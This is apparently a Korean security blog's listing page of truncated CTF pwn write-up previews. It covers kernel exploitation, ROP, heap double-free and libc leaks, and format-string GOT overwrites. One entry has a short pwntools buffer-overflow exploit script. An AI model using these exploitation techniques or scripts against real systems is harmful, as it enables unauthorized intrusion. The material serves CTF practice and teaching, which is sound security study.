anonymous?

💡예제 angr-doc/examples/fauxware at master · angr/angr-doc GitHub - angr/angr-doc: Documentation for the angr suite Documentation for the angr suite. Contribute to angr/angr-doc development by creating an account on GitHub. github.com 💡 angr 환경구축 dependancy sudo apt-get install python3-dev libffi-dev build-essential virtualenvwrapper install angr mkvirtualenv --python=$(which python3) angr && pip ..

SYSTEM HACKING/CTF, etc 2022. 5. 9. 23:52

👋 들어가기 전에 취약점도 깔끔하고 익스코드로 짜는것도 깔끔하고 나름 커널 익스 기본 익히기 좋은 문제 같아서 추천합니다. 👍 ☑️ 문제 파일 다운로드 https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/QWB2018-core GitHub - ctf-wiki/ctf-challenges Contribute to ctf-wiki/ctf-challenges development by creating an account on GitHub. github.com ☑️ 파일 확인 주어진 파일은 bzImage, core.cpio, start.sh, vmlinux이다. bzImage $ binwalk bzImage DECIMAL HEXADECIMAL DE..

SYSTEM HACKING/CTF, etc 2022. 3. 22. 00:46

파일 확인 core.cpio 파일시스템 binwalk 명령어로 확인 시 압축이 되어있지 않으므로, cpio 명령어로 파일시스템을 추출한다.루트 경로에서 커널 모듈인 baby.ko를 확인할 수 있다.baby.ko는 x86_64 64bit ELF 파일로, IDA로 디컴파일하여 코드 분석을 진행해보아야 한다. $ binwalk core.cpio DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 ASCII cpio archive (SVR4 with no CRC), file name: ".", file name length: "0x00000002", f..

SYSTEM HACKING/CTF, etc 2021. 11. 11. 23:41

Background Kernel module 적재 가능한 커널 모듈(Loadable Kernel Module, LKM) 규격을 따르는 모듈 목적: 커널에 필요한 기능을 탈부착할 수 있게 하기 위해 커널에 부착 시 커널과 동일한 메모리 공간 사용한다. 커널 모듈에서 취약점 발생 시 커널 공격 가능하다. Kernel 메모리 할당자 종류 slab: 커널 동적 메모리 할당자(dynamic memory allocator) slub: 많은 CPU와 노드로 구성된 서버 환경에서 주로 사용되는 메모리 할당자 slob: 메모리가 제한적인 임베디드 환경에서 주로 사용되는 메모리 할당자 커널은 Slab(슬랩) 메모리 할당자(slab allocator)로 메모리를 관리한다. slab cache: 커널에서 자주 쓰이는 구조체 ..

SYSTEM HACKING/CTF, etc 2021. 11. 11. 23:19

level 1부터 level5까지 총 5개의 레벨이 있었고, 레벨을 모두 클리어하면 바로 플래그가 출력된다. 지정된 키대로 위,아래,오른쪽,왼쪽을 선택하면서 게임을 진행하고 128, 256, 512, 1024, 2048(아마 이렇게 5레벨이 맞을 것이다.)을 각 레벨마다 완성하면 다음 레벨로 넘어간다. 노가다성 문제로 레벨 올라가면서 망할각이 보여서 리트할 뻔 했지만 다행히 한판에서 2048까지 만들고 플래그를 얻을 수 있었다. (시간은 좀 걸렸다.) 마지막에 플래그 얻은 부분만 캡쳐해놨다.

SYSTEM HACKING/CTF, etc 2021. 1. 2. 19:53

libc32.so.6파일과 바이너리 파일이 제공된다. libc32.so.6이 제공되는 것을 보고 32bit 문제임을 예상했고, oldschool 바이너리를 아이다로 열어봐서 코드를 본 후 바로 32bit ROP 문제임을 알았다. 일반적인 32bit ROP 문제와 동일하다. 그래서 블로그에 포스팅했던 32bit rop 문제의 exploit code를 복붙하고, offset만 따로 구해줬다. 환경 vuln 함수에서 단순히 read 함수로 0x100만큼 입력받고, return address를 충분히 덮고 ROP를 할 수 있을 정도로 입력받는다. 여기서 바로 블로그에 포스팅한 32bit ROP 문제 exploit code를 복붙했고, 디버깅으로 offset만 따로 구해서 바꿔줬다. Exploit Code #!/..

SYSTEM HACKING/CTF, etc 2021. 1. 1. 19:52

환경 Exploit Flow 1. libc leak - unsorted bin에 들어갈 청크와 일반 tcache 사이즈 청크 2개 할당- ptr = realloc(ptr, 0) 이렇게 할당할 경우, size가 0이 되어 realloc이 처리할 때 해당 ptr을 free한다. unsorted bin에 들어가는 청크를 free하면 해당 청크의 fd와 bk에 main arena 영역의 주소가 적힌다. Check 메뉴에서 해당 청크가 할당되어 있지 않으면 데이터를 출력해주지 않으므로 0번 청크를 다시 할당해준다. Check 메뉴에서 0번 청크 데이터가 출력되면, bk 부분이 출력된 main arena 영역 주소를 leak한다. 데이터 A를 입력해서 한 바이트가 덮인 상태라 libc base를 구할 때 이 부분을..

SYSTEM HACKING/CTF, etc 2020. 12. 18. 21:19

환경 Exploit Flow1. tcache chunk, unsorted bin chunk, tcache chunk 차례로 create 마지막 chunk는 2번째 청크 free 시 top chunk와 합쳐지는 것을 방지하기 위해 할당 2. 첫번째 청크 free - 청크 데이터를 확인해보면 ptr+0x8 부분에 e→key가 있는데, e→key는 Double Free를 검증하기 위한 tcache 포인터이다. 같은 청크가 이후에 해제되면 e→key를 확인하고 같으면 Double Free 에러 출력 후 비정상 종료된다. - 이 e→key 값을 조작할 수 있으면 Double Free 검증을 우회하고 같은 청크를 free하는 Double Free를 발생시켜 tcache와 fd에 같은 청크 포인터를 적어 fd를 원하..

SYSTEM HACKING/CTF, etc 2020. 12. 18. 21:11

환경 Exploit Flow 1. libc leak 릭을 하다보면 13번째 위치의 __libc_start_main+240 부분 주소가 눈에 띄어서, 해당 주소를 출력해서 libc leak을 진행했다. exit got에 써진 주소에서 다른 부분인 총 6바이트를 덮으면 되는데, onegadget을 그대로 사용하면 안 돼서 low, middle, high로 나누어 구해줬다. 2. 스택 포인터에 exit got, exit got+2, exit got+4 적기 여기에서 주소 중 스택 포인터를 값으로 가지는 것을 고른다. 스택 포인터는 자기 주소보다 높은 위치에 있어야 한다. 해당 값의 주소를 통해 값으로 exit got를 적고, 해당 주소 값의 위치(exit got를 적은)를 통해 one gadget을 주면 ex..

SYSTEM HACKING/CTF, etc 2020. 12. 18. 21:11

HackCTF의 Unexploitable 문제를 풀어보고 영감(?)을 받아서 만들어본 64bit ROP 문제이다.system과 read만 사용하는 상황에서 libc leak을 할 수 있다는 것을 알려주기 위해 만들어봤다. system 함수의 경우 인자로 명령어를 주지 않으면 해당 명령어가 없다고 오류 메시지를 출력해준다.그렇다면 system 함수의 인자로 어떤 함수의 got를 주면 함수 주소를 출력해주면서 오류 메시지를 출력해줄 것이다.출력해주는 것을 leak해서 libc leak을 진행하고, libc base를 구해서 one gadget을 구하면 끝난다. 다시 입력받기 위해 main 함수로 리턴해서 return address를 one gadget으로 덮으면 쉘이 따지는 문제이다. int init() {..

SYSTEM HACKING/CTF, etc 2020. 6. 8. 10:57

실습을 위해 또 포너블 문제를 만들었다. void __noreturn handler() { puts("Time Out"); exit(-1); } unsigned int Init() { setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); signal(14, (__sighandler_t)handler); return alarm(0x3Cu); } int menu() { puts("1. read"); puts("2. print"); puts("3. quit"); return printf("> "); } int Input() { int buf; // [rsp+0h] [rbp-10h] buf = 0; read(0, &buf, 8uLL); return atoi((..

SYSTEM HACKING/CTF, etc 2020. 6. 1. 02:36

from pwn import * p = process("./rop-fa6168f4d8eba0eb") not_called = 0x8048a4 pay = 'A'*0x88 + 'B'*4 + p32(not_called) p.send(pay) p.interactive()

SYSTEM HACKING/CTF, etc 2020. 5. 31. 10:47